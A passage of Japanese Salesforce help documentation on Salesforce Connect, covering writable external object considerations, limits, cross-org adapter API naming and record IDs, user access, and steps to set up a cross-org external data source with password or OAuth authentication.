除操作や更新/挿入操作の結果も取得できます。BackgroundOperation オブジェクトを使用して、API または
SOQL を介して書き込み操作のジョブの進行状況を監視します。

使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。

Salesforce Connect — 組織間アダプタの書き込み可能外部オブジェクトに関する考慮事項
一部の動作と制限が、Salesforce Connect の組織間アダプタに関連付けられている書き込み可能外部オブジェ
クトに影響します。
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する書き込み可能な外部オブジェクトの考慮事項
一部の特殊な動作と制限は、Salesforce Connect の OData アダプタに関連付けられた書き込み可能な外部オブ
ジェクトに影響します。
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Salesforce Connect — カスタムアダプタの書き込み可能な外部オブジェクトに関する考慮事項
一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタに関連付けられた書き込み可能な外部オ
ブジェクトに影響します。

関連トピック:

Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項
Apex 開発者ガイド: 書き込み可能な外部オブジェクト

Salesforce Connect — 組織間アダプタの書き込み可能外部オブジェクトに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の動作と制限が、Salesforce Connect の組織間アダプタに関連付けられている
書き込み可能外部オブジェクトに影響します。
• 値が派生したか計算された項目は、書き込み可能外部オブジェクトで参照の

みになります。次に例を示します。
– [住所]、[都道府県]、[郵便番号]などの書き込み可能項目から派生した、

[住所(請求先)] や [住所(納入先)] などの住所項目
– 自動採番項目
– [作成者] 項目
– 数式項目
– [最終更新日] 項目
– 積み上げ集計

• 外部オブジェクトの選択リスト値は、プロバイダ組織の選択リスト項目と非
同期になることがあります。プロバイダ組織で選択リスト値を変更した場合は、登録者組織で関連付けら
れている外部オブジェクトを手動で再同期してください。

• プロバイダ組織の複数選択リスト項目は、登録者組織の外部オブジェクトでテキスト項目に変換されます。
外部オブジェクトで項目を編集するには、「First value; Second value; Third value」というよう
に、大文字と小文字を正しく区別した選択リスト値をセミコロンで区切って入力します。
プロバイダ組織で既存の選択リスト値と正確に一致しない値を入力すると、次のようになります。
– 制限付き選択リストでは、プロバイダ組織で選択リストのデフォルト値が保存されます。
– 非制限選択リストでは、プロバイダ組織で無効な選択リスト値として手動入力された値が保存されま

す。
• 登録者組織で複数の通貨を有効にして、プロバイダ組織で使用する通貨がすべて登録者組織にあることを

確認します。後に通貨がプロバイダ組織に追加された場合は、その通貨を登録者組織に追加します。
登録者組織で複数の通貨を有効にできない場合は、すべてのプロバイダ組織が単一通貨であり、登録者組
織と同じ通貨を使用していることを確認します。

• ユーザが外部オブジェクトレコードを編集しているときに通貨を変更できるようにするには、[通貨]項目
をページレイアウトに追加します。
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• ユーザが外部オブジェクトレコードで通貨を変更しようとする場合、通貨オプションのリストは、プロバ
イダ組織で有効な通貨に制限されません。プロバイダ組織で無効であるか使用できない通貨をユーザが選
択すると、エラーが表示されてレコードを保存できなくなります。

• 登録者組織で外部参照関係を使用し、プロバイダ組織の参照関係を反映できます。登録者組織に取り込む
参照関係ごとに、親オブジェクトと子オブジェクトを同期してください。各参照関係項目は、登録者組織
でテキスト項目になります。同期で作成されたテキスト項目のデータ型は、外部参照関係に変更してくだ
さい。外部参照関係の親を指定するとき、プロバイダ組織の親オブジェクトに対応する外部オブジェクト
を選択します。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関する考慮事項
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect の組織間アダプタ

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する書き込み可能な外部オブジェクトの考
慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData アダプタに関連付けられ
た書き込み可能な外部オブジェクトに影響します。
• 外部システムで OData 複合型に関連付けられた外部オブジェクトカスタム項

目は、その外部オブジェクトが書き込み可能な場合でも常に参照のみ可能で
す。

• 書き込み可能な外部オブジェクトは、大量データの外部データソースには使
用できません。

• OData プロデューサが POST、PUT、MERGE、PATCH、および DELETE といっ
た HTTP 動詞をサポートしていることを確認します。

• ユーザがSalesforceユーザインターフェースから外部オブジェクトレコードの
項目を編集すると、Salesforce Connectは HTTP POST要求を外部システムに送信
します。その POST 要求には、ユーザが変更しなかった項目を含むすべての
外部オブジェクトの項目が含まれます。

• 外部オブジェクトレコードが API から編集された場合、HTTP POST 要求には指定した項目のみが含まれま
す。

• 外部システムでエンティティキーの値を指定するための書き込み操作が必要な場合、[外部 ID] 標準項目
値とエンティティキー値が互いに矛盾しないようにします。書き込み操作ごとに、外部 ID 標準項目値か、
エンティティキーを構成するカスタム項目値のいずれかを含めます。決して両方を含めないでください。

6387

Salesforce Connect を使用した外部データへのアクセスコードではなくてクリックによる Salesforce の拡張



すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関する考慮事項
外部 ID および OData エンティティキー
Salesforce Connect の OData 2.0 または 4.0 アダプタ

Salesforce Connect — カスタムアダプタの書き込み可能な外部オブジェクトに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタに関連付けら
れた書き込み可能な外部オブジェクトに影響します。
• 書き込み可能な外部オブジェクトは、大量データの外部データソースには使

用できません。
• 外部データへの変更がキューに配置されると実行されるまでに時間がかかる

ため、外部オブジェクトレコードを連続的に参照した場合に含まれるデータ
が異なることがあります。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関
する考慮事項
Salesforce Connect のカスタムアダプタ
Apex 開発者ガイド: 書き込み可能な外部オブジェクト

Salesforce Connect — すべてのアダプタのパッケージに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作および制限は、外部データソースのパッケージと、それに依
存する外部オブジェクトおよびカスタム項目に影響します。
• 外部データソースを管理パッケージまたは未管理パッケージからインストー

ルした後、登録者は外部システムへの再認証を行う必要があります。
– パスワード認証の場合、登録者は外部データソース定義でパスワードを

再入力する必要があります。
– OAuth の場合、登録者は認証プロバイダのクライアント設定でコールバッ

ク URL を更新してから、外部データソースで [保存時に認証フローを開始]

を選択して再認証する必要があります。
• 証明書はパッケージ化できません。証明書を指定する外部データソースを

パッケージ化する場合は、同じ名前の有効な証明書が登録者組織に存在する
ことを確認してください。

• 管理パッケージおよび未管理パッケージでは、外部オブジェクトはカスタム
オブジェクトコンポーネントに含まれます。
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• 外部データソースをパッケージに追加する場合、他のコンポーネントは自動的にパッケージに含まれませ
ん。

• 外部オブジェクトをパッケージに追加する場合、リストビュー、ページレイアウト、カスタム項目、外部
オブジェクトを定義するカスタムオブジェクトコンポーネント、外部データソースは自動的にパッケージ
に含まれます。参照項目、外部参照項目、間接参照関係項目が外部オブジェクトに存在すると、親オブジェ
クトも自動的にパッケージに含まれます。

• パッケージに追加する権限セットまたはプロファイル設定で外部データソースアクセスが割り当てられて
いる場合、有効な外部データソースは自動的にパッケージに含まれます。

• パッケージに追加する権限セットまたはプロファイル設定で外部オブジェクトが割り当てられている場合、
カスタム項目、リストビュー、ページレイアウト、外部オブジェクトを定義するカスタムオブジェクトコ
ンポーネント、外部データソースは自動的にパッケージに含まれます。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect

Salesforce Connect — すべてのアダプタの Lightning Experience に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザは Lightning Experience アプリケーションから外部オブジェクトにアクセス
できますが、いくつかの要件と特殊な動作が適用されます。
• 外部オブジェクトの関連付けられている外部データソースでは、[高データボ

リューム]オプションを選択解除する必要があります。この要件は、Salesforce

Connect の組織間アダプタには適用されません。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect
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Salesforce Connect — すべてのアダプタの Salesforce1 に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザは外部オブジェクトをSalesforce1アプリケーションから表示および検索で
きますが、一部の動作は特殊であり、制限があります。
• 次の条件を満たす限り、外部オブジェクトは、Salesforce1 ナビゲーションメ

ニューの [最近] セクションにスマート検索項目要素の一部として表示されま
す。これらの項目を表示するために、[さらに表示] をタップする必要がある
場合があります。
– カスタムオブジェクトと同様に、ユーザがアクセスできるタブに外部オ

ブジェクトを割り当てる必要があります。また、オブジェクト権限が、
プロファイルまたは権限セット経由で付与される必要があります。

– 外部オブジェクトの関連付けられている外部データソースでは、[高デー
タボリューム]オプションを選択解除する必要があります。この要件は、
Salesforce Connect の組織間アダプタには適用されません。

• 外部オブジェクトを次のページに表示できるようにするには、関連付けられ
た外部データソースで [検索の有効化] を選択します。この要件は、Salesforce Connect のカスタムアダプタに
は適用されません。
– Salesforce1 for iOS ダウンロード可能アプリケーション
– iOS デバイスで使用する場合は Salesforce1 モバイルブラウザアプリケーション

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect

Salesforce Connect — すべてのアダプタのコンソールに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザはSalesforce ClassicのSalesforce コンソールから外部オブジェクトにアクセス
できますが、いくつかの要件と制限が適用されます。
• 外部オブジェクトは、Salesforce Classic の Salesforce コンソールでのみ使用でき

ます。その他のコンソールはサポートされていません。
• 外部オブジェクトはコンソールに完全には適応していません。そのため、予

期しない動作が生じる可能性があります。他のオブジェクトもコンソールに
完全には適応していませんが、そのようなオブジェクトにはコンソール設定
領域にアスタリスク (*) が付けられています。外部オブジェクトにアスタリス
クは付いていません。

6390

Salesforce Connect を使用した外部データへのアクセスコードではなくてクリックによる Salesforce の拡張



• 外部オブジェクトの関連付けられている外部データソースでは、[高データボリューム] オプションを選択
解除する必要があります。この要件は、Salesforce Connect の組織間アダプタには適用されません。

関連トピック:

Salesforce Classic の Salesforce コンソール
Salesforce Classic コンソールの制限事項
Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect

Salesforce Connect — すべてのアダプタのコミュニティに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザはコミュニティから外部オブジェクトにアクセスできますが、いくつか
の要件と制限が適用されます。
• コミュニティは、カスタマーサービス (Napili)テンプレートまたはVisualforceタ

ブと Salesforce テンプレートで作成する必要があります。
• 次のリストは、カスタマーサービス (Napili)テンプレートで作成されたコミュ

ニティに適用されます。
– 外部オブジェクトの関連付けられている外部データソースでは、[高デー

タボリューム]オプションを選択解除する必要があります。この要件は、
Salesforce Connect の組織間アダプタには適用されません。

– 外部データソースの [ID 種別]が [ユーザ]に設定されている場合、コミュ
ニティメンバーは独自のログイン情報を設定できません。ただし、外部
システムの各ユーザの認証設定は、Lightning ExperienceまたはSalesforce Classic

から設定および管理できます。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect
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Salesforce Connect — すべてのアダプタの一般的な制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect を使用する場合の制限について理解します。
割り当てられたユーザライセンスによって、各ユーザがアクセスできるカスタ
ムオブジェクトの最大数が決まります。その数まで外部オブジェクト権限を付
与することもできます。外部オブジェクトは、カスタムオブジェクトの制限で
カウントされません。

200組織あたりの外部オブジェクトの最大数 1

4外部オブジェクトとその他の種別のオブジェクト全体でのクエ
リあたりの結合の最大数

4,000 文字外部システムから発行される OAuth トークンの最大長
50,0001 外部データソースにつき 1 時間あたりに取得または作成され

る新しい行の最大数。この制限は、大量データの外部データ
ソースまたは以前に取得されていない行には適用されません。

1 200 件の外部オブジェクト制限は、組織で購入する Salesforce Connect アドオン数に関係なく適用されます。外
部オブジェクトは、カスタムオブジェクトの制限でカウントされません。

Salesforce Connect — OData 2.0 および 4.0 アダプタの一般的な制限
Salesforce Connect の OData アダプタの制限について説明します。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect

Salesforce Connect — OData 2.0 および 4.0 アダプタの一般的な制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の OData アダプタの制限について説明します。
組織には次の制限があります。
• Enterprise Edition、Performance Edition、および Unlimited Edition では、1 時間あたり

10,000 個の OData コールアウト。要求に応じて制限を緩和できます。
• Developer Edition では、1 時間あたり 1,000 個の OData コールアウト。

8 MBOData の最大 HTTP 要求サイズ
8 MBOData の最大 HTTP 応答サイズ
16 MBOData クエリの最大結果セットサイズ
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1,000 行OData サブクエリの最大結果セットサイズ

関連トピック:

Salesforce Connect — すべてのアダプタの一般的な制限
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData コールアウトのレート制限に関する考慮事項
Salesforce Connect の OData 2.0 または 4.0 アダプタ

Salesforce Connect の組織間アダプタを使用した別の Salesforce 組織のデータへ
のアクセス
別の Salesforce 組織に保存されているデータにユーザがアクセスできるようにします。

Salesforce Connect の組織間アダプタ
Salesforce組織間でデータを接続することで、コラボレーションの効率性が上がり、プロセスが向上します。
組織間アダプタを備えた Salesforce Connectは、Force.com REST APIコールを使用して他の Salesforce組織のレコー
ドにアクセスします。さらに、ポイント & クリックツールですばやく簡単に設定できます。
組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定
ユーザが他の Salesforce 組織のデータにシームレスにアクセスして、ビジネスの全体像を把握できるように
します。Salesforce Connectの組織間アダプタは、ポイント & クリックツールですばやく簡単に設定できます。
Salesforce Connect — 組織間アダプタに関する考慮事項
Salesforce Connect の組織間アダプタを使用する場合の特殊な動作、制限、および推奨事項について理解しま
す。

Salesforce Connect の組織間アダプタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce 組織間でデータを接続することで、コラボレーションの効率性が上が
り、プロセスが向上します。組織間アダプタを備えた Salesforce Connect は、
Force.com REST API コールを使用して他の Salesforce 組織のレコードにアクセスしま
す。さらに、ポイント & クリックツールですばやく簡単に設定できます。
ユーザおよび Force.com プラットフォームは、外部オブジェクトを介して他の組
織とデータをやり取りします。Salesforce Connect の組織間アダプタは、これらの
各やり取りを Force.com REST API コールに変換します。
ある Salesforce 組織に商品の在庫を保存しているとします。支社や支店に独自の
組織を置き、各部署が在庫数量に関する最新情報を確認できるようにしたいと
考えています。Salesforce Connect の組織間アダプタを使用すると、これらの他の
組織が、適用されるアクセス制限を順守しながら、データに簡単にアクセスで
きます。
組織間アダプタは、次のことが発生するたびに Force.com REST APIコールを行いま
す。
• リストビューの外部オブジェクトタブをユーザがクリックした。
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• 外部オブジェクトのレコード詳細ページをユーザが表示した。
• 子外部オブジェクトレコードの関連リストを表示する親オブジェクトのレコード詳細ページをユーザが表

示した。
• ユーザが Salesforce グローバル検索を実行した。
• ユーザが外部オブジェクトレコードを作成、編集、または削除した
• ユーザがレポートを実行した。
• レポートビルダーでプレビューが読み込まれた。
• フロー、API、Apex、SOQL、または SOSL 経由で外部オブジェクトをクエリした。
• 外部データソースの検証または同期を行った。
組織間アダプタ使用する Salesforce Connect を設定する場合は、ポイント & クリックツールのみを使用します。

Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織
プロバイダ組織には、登録者組織がアクセスするデータが保存されます。
Salesforce Connect — 組織間アダプタの外部オブジェクトおよびカスタム項目の API 名
同期によって登録者組織に外部オブジェクトやカスタム項目が作成される場合、その API 名はプロバイダ組
織の対応する API 名から取得されます。
Salesforce Connect — 組織間アダプタの外部オブジェクトのレコード ID および外部 ID

外部オブジェクトのレコード ID は、プロバイダ組織の対応するレコード ID から取得されます。外部オブ
ジェクトレコードの外部 ID 値は、プロバイダ組織のレコード ID と一致します。
Salesforce Connect — 組織間アダプタの外部データへのユーザアクセス
外部データへのユーザのアクセス権は、登録者組織とプロバイダ組織の両方の設定によって決まります。

関連トピック:

Salesforce Connect

組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定
Salesforce Connect — 組織間アダプタに関する考慮事項

6394

Salesforce Connect を使用した外部データへのアクセスコードではなくてクリックによる Salesforce の拡張



Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

プロバイダ組織には、登録者組織がアクセスするデータが保存されます。
登録者組織で外部データソースと外部オブジェクトを定義します。外部オブジェ
クトとその項目は手動で作成するか、プロバイダ組織のメタデータを同期して
自動的に作成します。ユーザが登録者組織でそれらの外部オブジェクトを参照
または検索すると、プロバイダ組織からデータが取得され登録者組織に表示さ
れます。ユーザが登録者組織で外部オブジェクトレコードの作成または編集を
行うと、データはプロバイダ組織で保存されます。
• 1 つの組織を登録者とプロバイダの両方として機能させることができます。
• 登録者組織は、複数のプロバイダ組織のデータにアクセスできます。
• プロバイダ組織は、複数の登録者組織にデータアクセスを許可できます。

関連トピック:

Salesforce Connect の組織間アダプタ

Salesforce Connect — 組織間アダプタの外部オブジェクトおよびカスタム項目の API 名

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

同期によって登録者組織に外部オブジェクトやカスタム項目が作成される場合、
その API 名はプロバイダ組織の対応する API 名から取得されます。
各外部オブジェクトの API 名は __x で終わります。外部オブジェクトのカスタ
ム項目の API 名には、従来の __cサフィックスが使用されます。Salesforce Connect

の組織間アダプタを使用して同期されるオブジェクトおよびカスタム項目には、
次の事項が適用されます。
• プロバイダ組織で API 名にサフィックスがない場合、登録者組織でもその API

名が再利用されますが、オブジェクトには __x、項目には __c のサフィッ
クスが適用されます。

• プロバイダ組織で API 名にサフィックスがある場合、登録者組織でもその API

名が再利用されます。ただし、元のサフィックスのアンダースコア (_) のう
ち 1 つが削除され、新しい __x または __c サフィックスが適用されます。

例: プロバイダ組織の取引先オブジェクトを同期すると、登録者組織では
次の名前で作成されます。
• 外部オブジェクトの API 名は Account__x

• そのカスタム項目の API 名は Account__x.Name__c

プロバイダ組織の CustObj__cオブジェクトを同期すると、登録者組織で
は次の名前で作成されます。
• 外部オブジェクトの API 名は CustObj_c__x

• そのカスタム項目の API 名は CustObj_c__x.Name__c

プロバイダ組織のオブジェクトにカスタム項目がある場合、登録者組織で
は同等の外部オブジェクトにそのカスタム項目が作成されます。次に例を
示します。
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• Account__x.MyCustField_c__c

• CustObj_c__x.MyOtherCustField_c__c

プロバイダ組織の Account__x 外部オブジェクトを同期すると、登録者組織では次の名前で作成されま
す。
• 外部オブジェクトの API 名は Account_x__x

• そのカスタム項目の API 名は Account_x__x.Name_c__c

関連トピック:

Salesforce Connect の組織間アダプタ

Salesforce Connect — 組織間アダプタの外部オブジェクトのレコード ID および外部 ID

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部オブジェクトのレコード ID は、プロバイダ組織の対応するレコード ID から
取得されます。外部オブジェクトレコードの外部 ID 値は、プロバイダ組織のレ
コード ID と一致します。
Salesforceの各オブジェクトには、先頭 3 文字がキープレフィックスのオブジェク
ト ID があります。外部オブジェクトが作成されるときに、一意のキープレフィッ
クスが割り当てられます。
各外部オブジェクトレコードには、外部オブジェクト ID と同じキープレフィッ
クスを使用するレコード ID があります。外部オブジェクトレコード ID の残りの
部分は、プロバイダ組織の元のレコード ID から元のキープレフィックスを除外
した値と同じです。
プロバイダ組織から取得された各レコード ID は、登録者組織では大文字と小文
字を区別しない 18 文字の英数字文字列になります。
元のレコード ID は、外部オブジェクトレコードの [外部 ID] 標準項目の値として
登録者組織で使用されます。
各外部オブジェクトには [外部 ID]標準項目があります。その値により、組織内の各外部オブジェクトレコー
ドが一意に識別されます。外部オブジェクトが外部参照関係で親の場合、外部 ID 標準項目が子レコードの識
別に使用されます。

例: プロバイダ組織の取引先オブジェクトを同期し、登録者組織の Account__x オブジェクトにキープ
レフィックス x00が割り当てられます。プロバイダ組織の取引先の ID 001B0000003SVC7IAO は、登録者組織
では ID x00B0000003SVC7IAO と外部 ID 001B0000003SVC7IAO として表示されます。

関連トピック:

Salesforce Connect の組織間アダプタ
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Salesforce Connect — 組織間アダプタの外部データへのユーザアクセス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データへのユーザのアクセス権は、登録者組織とプロバイダ組織の両方の
設定によって決まります。
登録者組織がプロバイダ組織への接続に使用するログイン情報は、プロバイダ
組織のユーザに関連付けられます。このユーザを接続ユーザと呼びます。
登録者組織のユーザは、プロバイダ組織内で接続ユーザがアクセスできるデー
タにのみアクセスできます。つまり、登録者組織のユーザアクセスには接続ユー
ザのアクセス制限が適用され、これらの制限はプロバイダ組織の次の設定によっ
て決まります。
• オブジェクトレベルセキュリティ — 権限セットおよびプロファイル
• 項目レベルセキュリティ — 権限セットおよびプロファイル
• レコードレベルセキュリティ — 組織全体の共有設定、ロール階層、および

共有ルール
登録者組織で、権限セットとプロファイルを使用して外部オブジェクトへのア
クセス権をユーザに付与します。

関連トピック:

Salesforce Connect の組織間アダプタ
組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定

組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

「アプリケーションのカスタマイズ」外部データソースを作成および編集する

「アプリケーションのカスタマイズ」外部オブジェクトを作成、編集する

「アプリケーションのカスタマイズ」オブジェクトレベルのヘルプを定義また
は変更する

「アプリケーションのカスタマイズ」カスタム項目を作成、編集する

「プロファイルと権限セットの管理」権限セットとユーザプロファイルを編集
する

「ユーザの管理」外部システムの別のユーザの認証設定を
編集する

ユーザが他のSalesforce組織のデータにシームレスにアクセスして、ビジネスの全体像を把握できるようにしま
す。Salesforce Connect の組織間アダプタは、ポイント & クリックツールですばやく簡単に設定できます。
組織間アダプタを備えた Salesforce Connect の設定手順の概要は、次のとおりです。
1. Salesforce Connect: Cross-Org 型の外部データソースを定義します。
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プロバイダ組織ごとに外部データソースを作成します。
2. 外部オブジェクトを作成します。

この作業は、同期によって自動的に外部オブジェクトを作成する場合以外に実行します。登録者組織で、
アクセスするプロバイダ組織の各オブジェクトに対する外部オブジェクトを作成します。

3. 外部オブジェクトのヘルプコンテンツを作成します。
外部オブジェクトとその他のオブジェクトの名前やデータ型が似たものである可能性があるため、ユーザ
が登録者組織のそれらのオブジェクトを区別できるようにします。登録者組織で、外部オブジェクトを説
明する Visualforceページを作成します。ユーザが外部オブジェクトの [このページのヘルプ]をクリックする
と、カスタムヘルプコンテンツが表示されます。

4. カスタム項目とリレーションを外部オブジェクトに追加します。
オブジェクト間のリレーションを作成します。同期によって登録者組織に外部オブジェクトとその項目を
自動的に作成した場合を除き、アクセスするプロバイダ組織の各項目に対するカスタム項目を作成します。

5. 外部オブジェクトへのユーザアクセスを有効化します。
権限セットまたはプロファイルを使用して、オブジェクト権限を付与します。

6. 外部オブジェクトの項目へのユーザアクセス権を有効化します。
権限セットまたはプロファイルを使用して、項目権限を付与します。

7. 外部データソースでユーザごとの認証を使用している場合は、次の手順を実行します。
a. ユーザが外部システムに対して認証を行います。

権限セットまたはプロファイルを使用して、ユーザに外部データソースの認証設定へのアクセス権を付
与します。

b. 各ユーザの認証設定を行います。
この作業は、システム管理者またはユーザが実行できます。

ヒント: ユーザに、外部システムの認証を設定する方法のトレーニングを実施します。ユーザがプ
ロバイダ組織で入力するログイン情報を把握していることを確認します。OAuth 2.0 を使用している
場合、OAuth フローでは Salesforce ログインページが 2 回表示されます。1 回目はアクセストークン
を取得するためのプロバイダ組織へのログイン、2 回目は登録者組織への再ログインです。OAuth

フローをテストして混乱を招くプロンプトやリダイレクトがないかを確認し、必要に応じてユーザ
に通知します。OAuth フローは、外部システム、認証プロバイダ、指定された範囲によって異なり
ます。

関連トピック:

Salesforce Connect の組織間アダプタ
Salesforce Connect — 組織間アダプタに関する考慮事項
開発者ガイド: Visualforce 開発者ガイド
外部オブジェクトリレーション
Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織
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Salesforce Connect — 組織間アダプタの外部データソースの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ユーザが Salesforce 組織全体でデータにシームレスにアクセスできるようにしま
す。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規External Data Source] をクリックするか、[編集] をクリックして既存の外

部データソースを変更します。
3. 項目を入力します。

説明項目

ユーザにわかりやすい外部データソースの名前。表示ラ
ベルは、リストビューなどの Salesforce ユーザインター
フェースに表示されます。
[ID 種別]を [ユーザ]に設定すると、ユーザが外部シス
テムの認証設定を表示または編集するときに、この表示
ラベルが表示されます。

表示ラベル

API からこの外部データソース定義を参照する場合に使
用される一意の ID。
名前には、アンダースコアと英数字のみを使用できま
す。一意であること、最初は文字であること、空白は使

名前

用しない、最後にアンダースコアを使用しない、2 つ続
けてアンダースコアを使用しないという制約がありま
す。

[Salesforce Connect: クロス組織] を選択します。種類

プロバイダ組織への接続に使用される URL を決定しま
す。

接続先

[接続先] Custom URL を選択した場合は、プロバイダ
組織のログイン URL を入力します。

URL

プロバイダ組織でサポートされる API バージョンを選択
します。API バージョンによって、登録者組織からアク

API バージョン

セスできるプロバイダ組織のオブジェクト、項目、種別
が決まります。

タイムアウトになる前にプロバイダ組織からの応答を待
機する秒数。デフォルトでは、最大値の 120秒に設定さ
れます。

接続タイムアウト

この組織の Force.com プラットフォームとユーザが、外
部データソースに関連付けられている外部オブジェクト

書き込み可能外部
オブジェクト

のレコードの作成、更新、削除ができるようにします。
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説明項目

外部オブジェクトデータは組織外に保存されます。デフォルトでは、外部オブ
ジェクトは参照のみです。

登録者組織のグローバル検索時に、プロバイダ組織に保存された外部オブジェ
クトのデータも検索するかどうかを指定します。
これを選択すると、各外部オブジェクトで [検索を許可] を選択または選択解
除して、どの外部オブジェクトを検索可能にするかを制御できます。

検索の有効化

検索できるのは、外部オブジェクトのテキスト、テキストエリア、およびロン
グテキストエリア項目のみです。外部オブジェクトに検索可能項目がない場
合、そのオブジェクトに対する検索ではレコードは返されません。

登録者組織がプロバイダ組織へのアクセスに 1 セットのログイン情報を使用す
るか、複数セットのログイン情報を使用するかを指定します。「外部データ
ソースの ID 種別」 (ページ 6359)を参照してください。

ID 種別

4. 認証プロトコルを選択します。
• [パスワード認証]を選択した場合は、外部システムにアクセスするためのユーザ名とパスワードを入力

します。
• [OAuth 2.0] を選択した場合は、次の項目を入力します。

説明項目

Salesforce 認証プロバイダを選択します。Salesforce ヘルプの「Salesforce 認証プ
ロバイダの設定」を参照してください。

認証プロバイダ

アクセストークンを要求するための権限の範囲を指定します。認証プロバイ
ダによって有効な値が決まります。「Scope パラメータの使用」 (ページ1123)

を参照してください。

範囲

メモ:

– 入力した値で、指定された認証プロバイダに定義された [デフォル
トの範囲] 値が置き換えられます。

– 範囲が定義されているかどうかは、各 OAuth フローがユーザに同意
画面を表示するかどうかに影響する場合があります。

– 更新トークンまたはオフラインアクセスを要求することをお勧めし
ます。要求を行わない場合、トークンの期限が切れたときに、外部
システムへのアクセス権が失われます。
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説明項目

外部システムに対して認証を行い OAuth トークンを取得するには、このチェッ
クボックスをオンにします。この認証プロセスは OAuth フローと呼ばれま
す。
[保存] をクリックすると、ログインするよう外部システムから求められま
す。ログインに成功すると、この組織から外部システムのデータにアクセス
するための OAuth トークンが外部システムから与えられます。

保存時に認証フローを開
始

新しいトークンが必要な場合 (トークンが期限切れなど)、あるいは [範囲]

または [認証プロバイダ]項目を編集した場合は、OAuth フローをやり直しま
す。

5. [保存] をクリックします。
